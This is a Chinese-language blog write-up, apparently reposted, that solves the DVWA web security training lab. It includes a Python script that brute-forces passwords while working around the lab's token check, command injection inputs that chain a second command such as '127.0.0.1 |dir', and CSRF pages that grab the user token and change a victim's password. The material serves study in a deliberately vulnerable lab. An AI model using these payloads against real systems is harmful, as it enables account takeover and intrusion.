4

DVWA 靶场 Writeup | UltramanGaia's Blog

 2 years ago
source link: http://ultramangaia.github.io/blog/2017/DVWA-%E9%9D%B6%E5%9C%BA-writeup.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Damn Vulnerable Web Application

暴力破解 Brute Force

重复猜密码(账号)

弱密码。英文中的词、家的名字、过于简短的密码(6-7位)、可预测的模式
验证过程没有难以绕过(识别)的验证码
没有尝试多次后封IP地址等

low:
直接获取参数拼接到sql语句中去了,然后sql注入的话,直接上sqlmap。
暴力破解,burpsuite抓包,发送到repeater,发现没有别的验证,直接可以暴力破解密码。
错误时有提示”Username and/or password incorrect”
尝试暴力破解admin账号的密码。
medium:
添加了mysqli_real_escape_string函数

mysqli_real_escape_string转义字符串中的特殊字符:
  编码的字符是 NUL(ASCII 0)、\n、\r、\、'、" 和 Control-Z
  如: '  变成 \'

但是还是可以注入。
然后,增加了sleep(2)延时来一定程度上抑制暴力破解,但是其实是没有用的。
high:
添加了checkToken,burpsuite添加自动获取user_token比较麻烦,直接写个简单的python脚本

#-*- coding: UTF-8 -*-
import requests
def read_token(html):
    l = html.find("name='user_token")+25
    print(l)
    return html[l:l+32]
url="http://hack.com/DVWA/vulnerabilities/brute/index.php?username=admin&password=%s&Login=Login&user_token=%s"
passwords = ['t','admin','123456','password','test']
token = 'd6892bec17f92ebb73c5a57825c355e9'
for p in passwords:
    print(p)
    r = requests.get(url=url%(p,token),cookies={'security':'high', 'PHPSESSID':'lu4qnvvftqnpjc4a2hf674juo2'},headers={'Referer':'http://hack.com/DVWA/vulnerabilities/brute/index.php'})
    #print(r.text)
    #file = open(p+'.html','w')
    #file.write(r.text)
    #file.close
    s = r.text
    if s.find('Username and/or password incorrect.') == -1:
        print('------Got it!!!')
    token = read_token(s)
    print(token)

还是可以sqlmap注入,可能需要burpsuite的Macro配合下,但是貌似不用都行。。。

impossible:
添加stripslashes函数去除反斜杠,难道是防止宽字节注入,然后,sql语句是用了预编译,断绝了注入的想法,密码错了数次后上锁,暴力破解绝望。

命令注入 Command Injection

对用户数据过滤不严格导致的,可以通过构造特殊的数据进行攻击。可以直接用&&和;来执行多条命令。

&&
;
||
&
|

low:
后台没有进行任何过滤,直接127.0.0.1&&dir就可以注入。&&或;
medium:
后台将&&和;替换为空,可以用||
high:
进行了更多的替换,然而,审视黑名单发现,将’| ‘替换为空,|后面有一个空格,所以,我们直接构造127.0.0.1 |dir 注意 |和dir之间没有空格即可。
impossible:
检验了保证IP地址都是数字,已经不能注入了。

跨站点请求伪造
当登陆等后,会生成一个会话,此时,可以通过会话验证登录的身份。
low:
没有进行任何验证,可以伪造网址发给朋友

<img src=mm.jpg>
<iframe src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=abc&password_conf=abc&Change=Change#" frameborder="0" ;0" />
<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">

medium:
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
检查HTTP_REFERER中是否包含SERVER_NAME直接将用于欺骗的网站的URL中包含有SERVER_NAME
如127.0.0.1.html
high:
采用了User_token来验证。
可以尝试利用

<script type="text/javascript">
    function attack()
  {
   document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
  document.getElementById("transfer").submit();
  }
</script>

<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>

<body onload="attack()">
  <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
   <input type="hidden" name="password_new" value="password">
    <input type="hidden" name="password_conf" value="password">
   <input type="hidden" name="user_token" value="">
  <input type="hidden" name="Change" value="Change">
   </form>
</body>

impossible:
需要输入当前密码才可以改密码。

文件包含 File Inclusion

包含的文件无论文件后缀名是否为php,都会尝试当作php,如果真的不是,则打印文件内容。
所以,可能导致文件读取和代码执行。
low:
没有任何过滤。
medium:

http://和https:// 替换为空
../和、.." 替换为 空

high:
文件名需要符合file*或include.php
impossible:
白名单,没法子了。

文件上传 File Upload

能够上传上去
能够执行
low:
直接上传一句话
medium:
上传的文件名限定了
high:
需要配合文件包含
impossible:
不安全的验证 Insecure CAPTCHA
验证过程中的逻辑漏洞。

SQL 注入 SQL Injection

low:
什么都没有检测、过滤
medium:

mysqli_real_escape_string

依旧注入、
high:
impossible:
POD

SQL盲注 SQL Injection (Blind)

sqlmap
Weak Session IDs
XSS (DOM)
反射型XSS (Reflected)
储存型XSS (Stored)


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至[email protected]

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK